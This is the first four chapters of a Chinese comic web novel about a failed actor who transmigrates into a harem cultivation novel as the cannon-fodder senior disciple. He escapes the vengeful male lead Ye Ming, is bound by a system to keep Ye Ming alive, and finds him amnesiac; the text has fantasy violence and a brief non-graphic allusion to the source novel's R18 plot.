《失忆龙傲天的炮灰道侣[穿书]》 1、第一章 转行成为演员后,晏兮已经许久没接到戏了,以至于看清面前景象,第一反应是哪位导演那么有眼光挑中了他? 脚下台面坚硬,耳边仙乐萦绕。殿内众人不是衣袂飘飘,腰间悬挂凛凛佩剑,就是身穿清一色的秀气弟子服,袖口绣着宗门纹章。 往下看,他自己也穿着一身月白长衫,坐在离主位极近的位置,俨然身份不凡。 晏兮有些小激动,他一个没背景的十八线小演员,什么时候接过制作如此精良的大戏?! 晏兮抻着脖子张望,让我瞅瞅那位慧眼识珠的导演的俊脸~ “晏师兄,你在找什么呀?” 身旁传来一道脆如银铃的女声:“师兄是不是饿了?我也好饿哦,不过爹爹说再等片刻就能开席了,听说今天有晏师兄你最喜欢吃的紫玉灵羹呢!” 蓝衣少女笑容灵动,晏兮到嘴边的“我词呢,没给我词啊?”咽了回去,这是要我即兴发挥? 正琢磨怎么接词才不掉链子,上首传来一道肃穆浑厚的男声,“轻絮,坐端正些。大庭广众,和你师兄凑那么近成何体统!” “是,爹爹。”风轻絮撇撇嘴,冲晏兮撒娇似的小声道,“今天可是我的十九岁生辰宴,爹爹还这么死板,晏师兄你评评理。” 风轻絮看晏兮的目光里参杂着爱慕之情。 晏兮扭头和风止对视,风止看他的眼神不能说和善,那真是非常核善,简直像看一头拱了自家小白菜的猪。 晏兮:“呃,你爹该不会是疯子......呸,风止吧?” 嘴瓢了。 “是呀。”风轻絮笑道,“师兄你今天好生奇怪,怎么张口就直呼我爹爹名讳?” 晏兮笑不出来,双目逐渐失去了高光。 这哪是拍戏啊,风轻絮和风止是他读的一本男频小说中的配角名字啊! 好像叫《逆仙邪尊》什么玩意儿......一本集后宫种马龙傲天限制级于一身的大杂烩! 男主名叫叶暝,而书里和他同名同姓的“晏兮”,是陨星山里天赋一般但心胸狭隘的大师兄。一般这种角色都拿的炮灰剧本,果然不出晏兮预料。 原主因嫉妒男主的天纵之资,平日里构陷打压虐待都是家常便饭,更是在男主入门的第二年直接下死手,断其灵脉,毁其仙途,将那个前途本该风光无限的少年踹下悬崖。事后,对外宣称叶暝是狂妄自大,看不入眼陨星山,自愿退出师门。 可主角就是主角。原主以为早已将叶暝置于死地,岂料三年后,叶暝竟强势归来,于小师妹风轻絮十九岁生辰宴上门复仇。 炮灰就是炮灰。原主成了这位龙傲天复仇之路上的第一块垫脚石。而被原主虚假表面欺骗的小师妹,亦成了这位龙傲天的第一位后宫。 这里就不得不详细提一句原主的下场。 由于含r18标签,文中另外提到男主有恶趣味,见断手断脚并不能让原主屈服,就把他拖到野外,和各种妖兽苟合,“大战”七天七夜后奄奄一息...... 草!(一种植物) 要不要这么大尺度啊,这已经不是r不r18的问题了,晏兮看书时还大呼过瘾,敢情这是没发生在自己身上! 晏兮小脸煞白,忽听一弟子朗声:“禀风师姐,晏兮师兄特献上凝碧珠一串,千年雪莲三朵,祝小师妹芳辰永继,仙途坦荡。” 风轻絮煞是惊喜:“多谢晏师兄,这礼物太珍贵了!” 那弟子并未停歇,道:“师兄亦言,一日为师,终身为父,感念掌门师尊平日教诲之恩,无需特定时日,亦当尽孝师前,故另备薄礼,聊表寸心。” 高坐上首,一直闭目养神的道玄清睁开眼,温润目光落在晏兮身上,轻浅颔首:“兮儿有心了。” 晏兮:“。”好像在原剧情中,除了小师妹这位后宫预备役,师门上下都会被暴走的叶暝屠戮殆尽,包括这位掌门师尊,虽然没死,但被叶暝废尽修为,对待战利品般从陨星山上掳走,自此下落不明,跟死了也没太大区别。 晏兮双手合十开始做法,他这辈子没干过什么坏事,兜比脸干净也没想过去偷去抢,坏端端的怎么就穿书了呢,“如果这是场梦,就赶紧让我醒来再送我十万块钱。” 风轻絮正想问他在嘀咕什么,一声似能震碎苍穹的巨响从山门方向传来。 “轰——!” 地动山摇! “怎么回事?” “敌袭?!” “好可怕的灵力波动!” 整个云霄殿剧烈晃动,人声嘈杂间,一坨染血之物猛地从殿外砸了进来,就跟扔破布娃娃似的落在主殿中央。 是气息奄奄的守山弟子。 “掌、掌门......有人强闯......叶暝,他回来了......”说完头一歪,昏死过去。 晏兮心神俱震,是男主。 男主他来了! 云雾被撕开,一道玄色身影踏空而来。男人身姿挺拔如松柏孤峰,周身黑气萦绕,面容俊美得近乎妖异,他步伐缓慢,每一步却都踩在众人紧绷的神经上。 限制级的龙傲天男主,叶暝。 晏兮开始掐人中。 书本上的文字描述,远不及亲眼所见其万分之一的压迫感。那是真正从深渊中爬出来的气势,足以让任何心志不坚者心神崩溃。 别看现在叶暝单枪匹马的只有一个人,实则千万魔族大军正在陨星山周边埋伏。等到叶暝一声令下,就会大举入侵。但叶暝根本不屑于那么做,原著中他一个人就灭了陨星山。 按照剧本,晏兮现在应该拍案而起,厉声呵斥:“叶暝!你这叛徒,竟敢在此放肆!” 然后,冲出去,送人头。 去他的抹布剧本! 热闹的殿内瞬息间鸦雀无声。叶暝漆黑的凤眸斜睨,犹如畸形的黑曜石泛起微光。在他视线扫过来瞬间,晏兮已经麻利地蹲到道玄清腿边,紧抱住掌门大腿。 不好意思,全凭本能。 众弟子:“......” 风止:“......” 风轻絮:“(⊙.⊙)” 啊这,这是何意,大师兄新创的高阶法术?众弟子想法各异。连道玄清的第一反应也不觉得晏兮是在认怂,毕竟他这爱徒最是注重面子。 “呵。”一道冷笑传来,直抵晏兮耳膜。 晏兮确信是男主在嘲笑他,笑话,面子等当饭吃?活命才最重要好不,我是不会撒手的。认真脸。 察觉到晏兮是真的害怕,道玄清默了默,还是起身,直面这位令晏兮感到恐惧的存在,“叶暝,你既已离开师门,今日为何去而复返?若是为轻絮庆生而来,又为何出手伤我门人?” 叶暝没理会道玄清,目光不偏不倚,稳扎在道玄清身后那一片衣角上。 他在看晏兮。 发现这一点的道玄清袖袍一拂,将身后的晏兮护得更加严实。 “我为何而来,您身后那位心知肚明。”叶暝轻慢开口,“我只要晏兮。其余想活命的趁现在尽管逃,三息过后还留在这的,杀无赦。” 众弟子面面相觑,风止拍桌喝道:“狂徒小儿大放厥词!当我陨星山无人了吗?!” 道玄清也眉头紧蹙,似要动手。 想到原著中道玄清的结局,晏兮抱大腿的手一紧,仰头从善如流:“师尊,此人凶悍异常,您乃一派之主,万金之躯,岂能轻易涉险?让弟子去与他理论一番。” 道玄清:“你不是他对手。” 晏兮:“弟子不怕,为了师门清誉,为了师尊安危,弟子万死不辞!” 说得仿佛真是要为师门分忧,不惜以身饲虎。 道玄清尚且迟疑,风止先冷哼一声:“既如此,便去吧,也让众人看看,你是否真担得起这大师兄之名。” 众人看向晏兮的目光无一不有敬佩与担忧,风轻絮更是捂住了嘴,眼中泪光闪动:“晏师兄,一定要小心。” 晏兮咬牙应下,从道玄清腿边小碎步挪出来,直面叶暝。 四目相对。 叶暝扯唇,垂在身侧的指尖动了动,离他最近的一圈弟子瞬间好似被无形巨锤击中,惨叫着倒飞出去,倒地呻吟,痛苦不堪。 而叶暝就站在那片痛苦之中,如同执掌生杀的神魔。 晏兮:看一眼就掉san。 “简直无法无天!”风止怒而出手,磅礴灵力化作利刃袭向叶暝,却被对方随手一挥的反震之力打得倒飞出去,重重撞上墙壁。 “爹!”风轻絮惊呼。 “叶暝!这可是陨星山,你在此撒野也就罢了,还对风止长老动手,今日必定不轻饶你!”一名弟子热血上头,冲到晏兮身边,摆出架势,“大师兄,别怕,我来助你一臂之力!” 晏兮好片刻才给人对上号,这弟子叫文澜,也是个活不过三章的炮灰。 “胡闹,这是我跟叶师弟之间的私怨,要动手也该我来,不相干人等统统退开。” 叶暝漫不经心的:“你来。” 压力给到晏兮这边。 空气看似平静,实际暗流涌动。晏兮抬手一指天空:“看,飞碟!” 话音落地,包括道玄清的其他人都顺着晏兮手指的方向齐齐抬头望去,只有叶暝无动于衷。 晏兮疑似没招了:“配合一下行不行?” 那可是飞碟,你们修真人听都没听过的东西,就不好奇吗? 管他死的活的飞的跑的,叶暝对将死之人说的话皆无兴趣。他正欲动手,就见晏兮视线倏忽越过他肩膀:“咦,白婉晴你怎么在这儿?” 听到这个名字,叶暝周身灵流一凝,果然回头。 就是现在!晏兮一溜烟跑了。 待叶暝再回头,原处已然没了晏兮的影子。 全场死寂。 风止被风轻絮扶着,手指颤抖指向殿外,气得话都说不完整:“他,他这成何体统,成何体统啊!” 众人看着上一秒还被寄予厚望的晏大师兄下一秒就跑得没影,又看看脸色黑如锅底的叶暝,纷纷石化在原地。 叶暝表情有一瞬间空白,他啧声,眼底涌起被蝼蚁戏耍的怒气,身形一晃,便化作黑色闪电疾追而去。 “啊啊啊师尊救我——!!!” 惨叫划破天际。 道玄清脸色一变,身影化作青光,紧跟着飞出云霄殿。 殿内众人面面相觑,不知谁感慨了句:“大师兄跑得可真快啊。” “大师兄他是兔子转世吗?”《 》 2、第二章 喊白婉晴的名字果然有用。 一些男主打脸的内容晏兮或许看过就忘,毕竟龙傲天文太多了,套路化的虐菜剧情在男频文里早就不新鲜,但《逆仙邪神》之所以能稳坐金榜榜首,靠的正是那甜(肉)虐(香)交(四)织(溢)的感情线。 也正因如此,晏兮才会对这部分内容格外上心。白婉晴,那可是在叶暝被挑断灵脉扔下山崖后救了他一命的女主角之一!可以说如果没有白婉晴,就没有之后的叶暝,早被山下的野狼啃得骨头不剩了。 不过白婉晴重要归重要,却撼动不了叶暝想要报仇的心,叶暝恨原主恨得深入骨髓,伤好后便不告而别。灵脉被毁,那就另辟蹊径,投入魔域,炼化魔脉,一切只为杀回陨星山。 而白婉晴的救命之恩让她成为叶暝心目中的白月光,后期被收入后宫,在一群莺莺燕燕中也是主母般的存在。虽然这份特殊待遇,仅仅是如果白婉晴坚决不愿参与玩n/p,叶暝绝不会强迫她。但对限制文男主而言,这已经是极大程度的退让和宠溺。换成其他女主,他绝对会直接上的好吧! “嗖——” 凌厉破空声自身后袭来,晏兮猛地向前一扑,避开了一道擦着他发丝飞过的黑色剑气。 ......差点领盒饭了。晏兮后怕地想。 “跑得倒快。”叶暝声线森然贴着后颈响起,“你若现在告诉我,你怎么知道白婉晴这个名字,或许我可以放你一马。” 假的! 复仇龙傲天或许会给原主个痛快,但绝对不会放过他! 竹林近在眼前,晏兮连滚带爬地一头扎进去,想利用茂密的竹子遮挡叶暝视野,可实力差距是绝对的——被狙击手瞄准时,管你是反复横跳还是跑s线,照样一枪爆头。 剑气荡破竹障。一只手蓦地扼住晏兮咽喉,将他狠狠地掼在一棵粗壮的紫竹上! 后背传来剧痛,晏兮眼前一黑,差点背过气去。 叶暝鬼魅般出现在他面前,骨节分明的手正扣在他脖颈上,只要稍一用力,就能轻易捏碎他的喉骨。 “敬酒不吃吃罚酒。”叶暝似是被惹怒了,嗓音夹杂血淋淋的杀意,“怎么不跑了,继续跑啊?” “不跑,是想好怎么死了吗?” 如果说先前晏兮还可能以为这是场噩梦,那么现在他笃定,他是真的穿书了,痛感太真实了,他很快就要死在叶暝手上......哦不,要先被拖出去和妖兽苟合七天七夜再死。 敲!盒饭都不能领个痛快。 “叶、叶暝......你我之间,或许有误会......” “误会?”叶暝嗤笑一声,修长指骨收紧,“我灵脉尽断,像野狗一样在泥里爬的时候,你怎么不说是误会?” 窒息感传来,晏兮双手徒劳地抓住那只手腕。 “你听——” 叶暝无视晏兮的挣扎,拉着他的手强行按在自己心口。 掌下肌肤滚烫,那破损的灵核在疯狂跳动,每一次搏动都带着撕裂般的痛楚。 “感觉到了吗?它每跳一下,都像是在提醒我,是你把它变成这副鬼样子。” “或许只有把你的骨血也烧干净,它才能平息。” “叶暝!你冷静一下,听我说!”恐惧让晏兮爆发出力气,“你很惨我也很难过,可说出来你可能不信,我不是你认识的那个晏兮!我来自另一个世界,不知怎么就穿了过来,这也我跟你无冤无仇——” 他焦急地解释着,嘴唇快速开合。 可落在叶暝眼中,就只看到他苍白着脸,嘴唇无声地张合,半个音节都未能传出。 晏兮:?? 什么东西把我屏蔽了!!! 叶暝那双近在咫尺的黑眸里没有一丝温度,看待死物般凝视着晏兮。 完了,真的说不出来。 还是滑跪吧! 万一男主能大发慈悲跳过妖兽这一part,直接给他个痛快呢? 想到原文中原主是怎么在清醒状态下被各种妖兽往身上咕踊的细节描写,晏兮冷汗如雨下。 这玩法可太反人类了,放在绿jj网站可是要被红锁全文的啊! “师、师弟,当年是师兄不对,我错了!你看,你现在这么厉害,杀我这种小人物岂不是脏了你的手?只要你放过我,我把我所有的灵石、法宝都给你......” 叶暝似乎觉得他这副摇尾乞怜的模样很有趣,微微松开紧掐晏兮脖颈的手,道:“有生之年能从晏师兄口中听见一声求饶,真是荣幸之至。” “可惜我不会放过你。你的东西,杀了你,也会成为我的。” “你不说你怎么知道的白婉晴也没关系,这些都没有杀你重要。”他指尖萦绕起一丝危险的黑色魔气,慢腾腾靠近晏兮眉心,“反正本来,我也只是好奇你究竟了解我多少,是否在我山下期间也派人暗中调查我。既然你决心不说,想必已经做好准备了吧。” 啊?所以是能死个痛快吗。晏兮盯着叶暝指尖快变成了斗鸡眼。 算了,不玩人/兽play就行。 那缕魔气带着腐蚀一切的气息,好似一滴就能送自己归西,晏兮满意地闭上眼。 见这般安详认命的晏兮,叶暝拧眉狐疑。 是他多想吗,总觉得晏兮哪里不对劲。 而就是这片秒的迟疑,一道青光犹若天外流星,从竹林外疾射而来,直取叶暝后心! 是道玄清。 叶暝冷笑着,掐紧晏兮脖颈的右手仍没松,身形诡异地一扭,左手一掌拍出,浓郁的魔气与那道青光狠狠撞在一起! 四周的翠竹瞬间被碾为齑粉,地面出现一个巨大的深坑。 晏兮被气浪掀飞出去,摔得七荤八素,耳中嗡嗡作响。 他勉强抬头,只见道玄清与叶暝已经战在一处。青光与黑气交织碰撞,每一次对轰都引得地动山摇。 道玄清修为高深,剑法精妙。 但叶暝的魔功更为诡异霸道,竟隐隐占据上风。 叶暝黑衣猎猎,肤色苍白,眉目染血,俊美又充满戾气。 限制文里的龙傲天也是龙傲天啊...... 眼看叶暝一道狠厉的魔爪即将抓向道玄清命门,晏兮大喊“师尊小心!”,抓起手边一块石块就朝着叶暝后脑勺掷去。 情急之下连灵力都忘了灌输进去。 准确来讲,是穿书太突然,晏兮还不会如何使用灵力。 “啪嗒。” 那石块砸是砸中了,但对叶暝来说,恐怕连挠痒痒都不如。 可偏偏是这一下微不足道的干扰,成功吸引了叶暝注意力:这人傻子吗? 命运的齿轮悄然转动。 在战场上哪怕是片秒的分心都能丢掉性命。 千钧一发之际,道玄清将所有灵力灌注于掌心。 一道凝练到极致的青色掌印结结实实地印在了叶暝胸膛上—— 从石头扔出去那一刻,晏兮就捂脸不敢看了。 等他从指缝间偷看,只见光芒散尽处魔气溃散,叶暝站在原地,身形晃了晃,直挺挺地向后倒去。 “砰”一声。 后脑勺重重砸在晏兮方才扔出的凸起的石块上,溅起些许尘土。 风吹过断竹,发出呜呜声响。 晏兮望着眼前一幕,小嘴张成“o”型:......我这么吊的吗,一块石头就把不可一世的龙傲天男主放倒了? 然后他看到叶暝身后,面色凝重但气息有些紊乱的道玄清。 道玄清脸色苍白,嘴角溢血,显然刚才那一击也让他付出了代价。 晏兮:好吧吊的不是我。 望着倒地不起的叶暝,道玄清眉头紧锁。 此子魔功深厚,留之后患无穷,必须趁其昏迷彻底根除。 晏兮还在用脚不轻不重地踢着叶暝,让你刚才掐我,踹鼠你,踹鼠你...... 就见道玄清举起长剑。 正不清楚掌门要做什么,一道古怪动静倏忽在晏兮脑袋里炸开,吵得他抬手捂耳: 【警告!世界灵魂人物“叶暝”生命体征急剧下降,濒临死亡!】 【如果叶暝死亡,此世界将不复存在,宿主即刻抹杀!】 什么东西,为什么耳朵堵上了还听得见?! “等下,师尊住手!”见道玄清剑锋直朝叶暝眉心,似要给予最后一击,晏兮急忙喊住他。 道玄清动作一顿,疑惑看他:“兮儿?” 穿书小说里都会配备系统,所以那应该是系统的声音。 男主死了自己就得死...... 道玄清还举着剑,生怕他一个失误就要了叶暝的命,晏兮连爬带滚地冲过去,挡在晕厥的叶暝身前。 “师尊,这等叛徒,理应由弟子我来清理门户,何必麻烦您亲自动手?” 见道玄清犹豫,晏兮装出痛心疾首的姿态,“师尊!请给弟子一个亲手了断过去的机会,这毕竟是我曾经的师弟......” 原著中提到,虽然掌门是原主和叶暝的师尊,但他平日里要处理宗门事务、维护与其他门派的关系,还要不时抵御魔族入侵、受百姓之托下山斩妖除魔,因此几乎没有时间照管他们。 门中多数弟子都由原主这位大师兄管教,对其是赏是罚最有资格。 眼见着晏兮脸色苍白,道玄清只当他是惊吓过度又强撑着想亲手复仇,终是收起了剑:“也罢。既是你之心结,便由你自行解决。处理后,速回宗门,我替你看伤。” 除了被掐脖子,体验了把窒息play,晏兮没怎么受伤:“是,多谢师尊。” 待道玄清化作青光离去,晏兮绷不住了,“啪叽”瘫坐在地。 “系统,刚刚是你在我脑子里说话吗?我说不出穿书的秘密是因为你吧?什么叫叶暝死亡我就得死啊,那我嘎了他也会嘎吗?” 晏兮一连问了三个问题,那声音果然又在他脑子里响起:【是我。初次见面,宿主你好哟~】 晏兮瞥一眼地上昏迷不醒,后脑勺还在渗血的叶暝:我不好。 【你嘎了叶暝不会嘎,叶暝可是主角~】 晏兮:“我为什么穿书?” 【回宿主,您在原来的世界因为吃了过期的黄豆酱出现食物中毒症状,被发现并送到医院时已经太晚了,是系统及时绑定了您,才避免了您的死亡哦~】 好像是这么回事,他不省人事前确实感觉黄豆酱味道有点怪,还以为是出了新口味。晏兮咳了咳,只要不说出去,没人知道他死因是如此的尴尬。 不过,不是说系统都是冷漠无情的电子音吗?晏兮总觉得这自带“~”的系统骚里骚气的,不像正经系统,但显然这不是重点。 从听到那句“你嘎了叶暝不会嘎,叶暝可是主角”起,晏兮心态就不平衡了。 “你之前不是很厉害,很嚣张吗,起来啊,继续掐我啊?” 他又踹了一脚叶暝,心想主角命就是好啊,谁死了主角都不会死,主角一死却都得跟着完。 叶暝反复挨踹,发出一声模糊的痛吟。 没有叶暝的命令,埋伏在陨星山周边的魔域之人不会轻举妄动,眼下应该也都撤退了。 晏兮发泄完了,认命叹气,先把男主带回去再说,免得死这儿了。 他费力地将昏迷的叶暝背到自己背上,好重! “系统哥哥,这都修真世界了,就没什么瞬移法术吗?我好累啊,他好重啊!” 【小嘴真甜~不过没有哦,瞬移属高阶法术,原主这具身体资质平庸,尚未熟练掌握呢。】 晏兮:“可你不是金手指吗?” 【系统功能需要积分兑换~】 晏兮:“积分怎么赚?” 【......&%¥#@(哔哔乱码)......】 晏兮:“你说了啥?” 【抱歉,权限不足,需待宿主熟悉本世界,解除基础生命威胁后,方可开启积分系统及相关功能~】 “烧系统,屁用没有。”晏兮指指点点。 背着叶暝深一脚浅一脚地在竹林里摸索,中途感觉叶暝似乎在动,吓得晏兮差点人摔地上,赶紧又找了块石头比划了下。 好在叶暝没醒,只是虚惊一场。 晏兮骂骂咧咧地丢开石头,绕回原主的住处。 他没回宴会场地,只托路过的小弟子带了句“身体不适”回去。道玄清不得不信,毕竟晏兮的演技是那样炉火纯青。 原主所在的山峰名为栖云峰。虽并非陨星山主峰,却是灵气最为充沛景致最为秀美的山峰,没有之一。所居的院落更是栖云峰视野绝佳之处,名为“揽月居”,取“手可摘星辰,危楼揽明月”之意。 把昏迷的叶暝放到床上,晏兮伸手探了探鼻息,均匀绵长,又看了看他后脑勺的伤处,血迹已经凝固,看起来吓人,但以龙傲天的体质,估计死不了。 现在该干嘛呢? 系统说他现在还没解除基础生命威胁,意味着当务之急是保命,可看叶暝这状态似乎短时间不会醒,天也已经黑了...... 晏兮犹豫几秒,果断抢走被褥,只给叶暝留了个枕头。见他好一通忙活,系统没忍住问:【宿主,你在干嘛?】 “显而易见,我在打地铺啊,天大地大睡觉最大,床给叶暝占了,我总不能和他挤一张床吧。” 叶暝是限制文龙傲天,男女通吃,晏兮倒不是担心自己的屁股,男主又不是饿了会对仇敌下手。纯粹是身为炮灰本能地对男主感到恐惧。 嘴上说怕,但等晏兮打完地铺躺下不过一息,揽月居里响起了均匀的呼吸声。 甚至来不及问“这你都睡得下去?”的系统:【......】 好牛逼的心理素质。《 》 3、第三章 日上三竿! 做了个有关龙傲天的噩梦,晏兮四肢乱蹬张牙舞爪地醒来,睁眼后第一时间看向床铺,叶暝躺在那,安详得跟死过去了一样。 松口气同时,晏兮想到作为陨星山掌门首席弟子兼大师兄,弟子们晨练,自己好像应该在场指导? 系统说过开启积分兑换的条件除了解除基础生命威胁,还有要熟悉本世界,虽不知道攒积分能兑换什么金手指,但万一是能让他摆脱叶暝的好东西呢? 思及此,晏兮不得不支愣起来,以防万一,从犄角旮旯翻出一捆似乎是栓狗用的绳子将叶暝五花大绑后,走到那堆素雅衣衫中挑了件相对顺眼的粉白色长袍换上。穿那么素干嘛,又不是奔丧,粉粉嫩嫩的才好看。 陨星山地域不广,找起练剑堂不难,哪里声大往哪走。修仙之人的五感到底优于常人,还未至堂前,晏兮远远便听到呼和与剑刃破空之音。数百名弟子正在风止长老的带领下练习基础剑诀,动作整齐划一,场面颇具声势。 几名眼尖的弟子见到晏兮,纷纷投来或惊讶或敬佩的目光,晏兮正琢磨着是该上前说点什么,还是找个小角落打酱油,一名较为年长的弟子快步走到他面前,恭敬行礼:“大师兄,您怎么来了?” “您旧伤未愈,昨日又为宗门立下大功,掌门师尊特意吩咐让您务必好生休养几日,不必操心堂内事务。指导弟子之事,暂由风止长老代劳。” 晏兮心里乐开花,嘴上说着:“有劳师弟和风止长老费心,我虽有些不适,但身为大师兄,总放心不下。” “大师兄心系宗门,我等敬佩!但掌门之命不可违,还请大师兄以身体为重,回去安心静养。” “既然如此,那便有劳疯子...呸,风止长老和诸位师弟了。”晏兮俨然一副我是听从师命才不得不休息的姿态,从容离开了练剑堂。 “大师兄今天穿的真好看。” “对啊,没想到粉白这般衬他,比平日更添几分风采。” 风止重重咳嗽一声,弟子们赶忙噤声,专注练剑。 直到走出众人的视线,确认四周无人后,晏兮才长长舒了一口气,几乎是蹦跳着往回走。 休假好唉! 心情明媚地推开揽月居的门,不可避免地再次扫见床上的叶暝。昏迷的叶暝和清醒时可不一样,想到昨天差点死他手上,晏兮走到床沿坐下,伸出食指,沿着叶暝的五官虚虚描摹。 “长的是真帅,脾气怎么就那么差...虽然也情有可原吧。”男主不能死,但男主要是醒过来,自己一定会死,这个认知让晏兮好心情打了个折扣,“系统哥哥,我该怎么才能解除基础生命威胁啊,我穿书到现在还不满24小时,你不附带新手教程吗?” 有事系统哥哥,无事烧系统。系统选择沉默。 不回答拉倒,晏兮自有办法。只要让男主继续保持植物人状态不就行了?既保证了世界不崩塌自己不死,又杜绝了被他报复的风险。 这想法堪称完美,就连系统都不由得感慨了句:【...真是个小机灵鬼。】 这算卡世界法则的bug吗? 晏兮东摸西摸,越发觉得这住处没什么特别的。布置虽然不错但太简单,衣柜里大多也都不是自己喜欢的衣服。 当然,这揽月居里最特别的,还是那个正在昏迷的男主。 晏兮又望了眼床榻方向,叶暝晕得死死的很安心。他一边在心里祈祷男主你千万要睡个地老天荒啊,一边在栖云峰周围转悠。 系统不是说要熟悉世界吗?那便从脚下这片土地开始吧。 虽然陨星山只是书中设定里一块小小的地域,但在解除基础生命威胁之前,晏兮也不敢四处乱逛。一路上遇到几名打杂的弟子,见了晏兮无一不主动问好。别人或许不知道原主有多外强中干,晏兮却清楚得很。 就是个对上来复仇的男主秒下线的炮灰嘛。 天资一般,灵根也不算上乘,就晏兮看来,陨星山上比原主资质高的除了男主也大有其人,真不知道怎么坐上的这大师兄之位。 晏兮正逛着,视野里出现一道蓝衣身影。 “晏师兄!” 风轻絮小跑过来:“听说你身体不适在住处休息,如今如何了?你脸色还是不太好,昨日定是受惊了!” 说着踮起脚尖,想探一探晏兮的额头,晏兮身子微侧,不动声色地躲过了风轻絮伸来的纤纤玉手。 “有劳小师妹挂心,我已无大碍,只是出来透透气。” 语气温和疏离,风轻絮顿时有些尴尬地收回手,滋生出几分委屈和疑惑,师兄以前可不会躲闪她的触碰。 “叶师弟呢,他怎么样了?”她转而问道,“先前听爹爹和掌门师伯议论,说他魔功深厚。其实我一直不明白当初他为何会离开师门,在我印象里叶师弟他只是不善言辞而已,心地还是很好的......” 换以前风轻絮不会向晏兮主动提起叶暝的事,因为她以为,叶暝是晏兮的直系师弟,对叶暝的离开应当更难过才对。 但昨天那阵仗真是把她吓坏了。 三年未见,她没想到叶暝会变成那副模样,也惊讶短短三年,就能让一个只是性子有点孤僻的少年变成从地狱中爬出来的恶鬼。 晏师兄很好,叶师弟也很好。 二人之间必定有什么误会! “晏师兄,叶师弟他真的被你亲手杀了吗,你们之间到底发生了什么?” 晏兮:“这个嘛,我和他之间其实有点误会。” 果然是! “什么误会?” 晏兮:“师妹,你问的有点多了。” 他还没编好! 风轻絮委屈:“我这是关心师兄你才——” “小师妹,你真的很好。” 嘀,好人卡一枚。 “只是我对你从来都只有师兄妹之谊,并无其他。以前若有让你误会之处,是我言行不当,我向你道歉。” 风轻絮俏脸白了三分,喃喃道:“师兄......你为何突然说这些,是我哪里做得不好吗?” 晏兮:“不,你很好,是我的问题。” 晏兮:“谁让我是钙。” 听到这的系统:【......】 风轻絮眨眨眼,显然没理解这句话:“钙是什么意思?” “就是我不喜欢女子。” “师兄你别开玩笑了,不喜欢女子难道你还能——”话音戛然而止,风轻絮想到什么般不可置信地瞪大眼,“晏师兄,你、你难道......” “小师妹,这话我只跟你一个人说过,我们也算推心置腹了。”晏兮说,“你能替我保密吗,千万不要说出去。” 难得大师兄向她请求,风轻絮那份少女情愫在巨大的冲击下摇摇欲坠,然而长久以来的崇拜和习惯还是让她点了头。 “既如此,大师兄,我明白了,我不会说出去的。” “谢谢你小师妹。是不是快到饭点了,膳堂今天有什么好吃的吗?” 【宿主你在一本正经地胡说什么呢?】 日影西斜,吃饱饭的晏兮餍足地眯眼。他是纯正直男,否则也不会追更男频文。 “我不这么说,她会一直追问我关于叶暝的事,我还没想好怎么编,这样说有问题吗?” 系统竟无法反驳。 这是原因之一。原因之二,是小说中原主分明看不上风轻絮,却惦记着她长老千金的身份,得知她爱慕自己后故意吊着她,晏兮才没兴致耍这种没品的手段。 不知道是不是夜晚降临的缘故,回到栖云峰的一路上安静得诡异,白日里至少还能听见风吹树叶的沙沙声,这会儿却万籁俱寂。 晏兮心里有点发毛,不由得加快了脚步。 推开揽月居的门,借着窗外透入的稀薄月光,晏兮习惯性地先望向床榻。 下一秒,心陡然一沉。 空的。 床上空空如也,只有散落一地的绳子。原本躺在那里的人不见了。 晏兮脑子嗡的声,浑身血液凝固。 “...怎么会没有人。” 男主呢? 那个受伤昏迷后脑勺还挨了记的龙傲天男主呢?! 系统没警告说明人没死,至少没性命之忧,那是醒了后自己解开绳子跑了?还是被谁带走了?? 没有外人进来过的痕迹,所以大概率是前一种。但无论哪种可能,对晏兮都是当头一棒。 “冷静......先找到他。”晏兮踉跄着转身,想先检查房间,可才刚有动作,被从暗处伸出的一只手猝然抓住,“!” 那只手滚烫,力道也大得惊人,晏兮被一股巨力掼向后方。 “砰——” 天旋地转间,后背砸上床榻,疼得他眼冒金星。 不等晏兮挣扎,一具炽热沉重的身躯紧随而至,将他严严实实地压制在床榻之上。 淡淡的、混合血腥味的冷冽气息将他包裹。 月光偏移,勉强照亮了晏兮身上那人的轮廓,眉眼深邃如画,不是叶暝还能是谁? 他居然这么快就醒了! 晏兮吓得连呼吸都停滞了,完了完了完了,这下人/兽play没跑了! 他仿佛已经看到自己被妖兽蛄踴的未来...... 不行,还是接受不了! 大不了再一块石头把男主敲成植物人。 晏兮挣扎着就要和叶暝殊死一搏:劳资和你拼了! “别动。”压在他上方的叶暝开口,下一瞬,晏兮感觉到一个硬.物抵在了自己腰侧。 他从哪掏出的匕首?! 坚冷的触感直抵而来,别说反抗,晏兮连眼珠都不敢乱转,只能用惊恐万分的眼神面对近在咫尺的俊脸。 两人鼻尖几乎相抵,呼吸交错。 “这里是什么地方?” 叶暝眉头蹙起,似乎在承受着巨大的痛楚,额角青筋隐现。 “你又是什么人?”《 》 4、第四章 什么情况,他不记得我了? 确切来说,是不记得和我同名同姓的原主“晏兮”了?? 一时搞不清对方是恶趣味发作在耍自己,还是真的失忆,晏兮没敢擅自回答。 直到腰眼一疼,是叶暝将匕首调转方向,催促性地用刀柄捅了他一下,晏兮才颤巍巍地张口,“叶暝,你先冷静一下,听我解......”释。 “这是我的名字?” 男人眯起眼,眼睑下浮起的卧蚕很深,“你是谁,为何会认识我?” 还没来得及回答,叶暝收起抵在晏兮腰上的刀,转而用手掐住他脖颈,“我会躺在这,要么是你伤了我,要么是你救了我。” 他俯身,目光一寸寸刮过晏兮因呼吸不畅而泛红的脸颊,“所以答案是哪个,你对我来说是很重要的人,又或是即使掐死也无关紧要的人?” 随着叶暝手上力道不断收紧,晏兮脖颈浮现几道红色指痕。 ...真不愧是r18文里的龙傲天,受了伤都那么大劲儿。 “不回答吗?” 晏兮:个呆比,你掐着我我怎么回答? “叶暝,你先松开......” 男人不应,只是一味地用力。 晏兮感觉自己快看见太奶了。 救救qaq 他今年还没过二十四岁生日,还没谈过恋爱,好不容易穿书白捡一条命,不想死那么草率啊! 因窒息而变得模糊的视线中,晏兮看到叶暝眼睛里已经没有了昨日恨不得将自己剥皮抽筋的刻骨恨意。 不像演的,男主好像是真的失忆了! “叶、叶暝,你在干什么。”求救不如自救,考验演技的时候到了。晏兮艰难地挣扎说,“你这么对我,我可是会很伤心的!” 叶暝闻言一滞,“伤心,为什么?” 管他和原主有什么深仇大怨,他现在什么都不记得,如果我能骗过他就可以活下去。抓住这个机会,多活一刻是一刻! “咳咳...还能因为什么,我对你来说非常非常重要!” 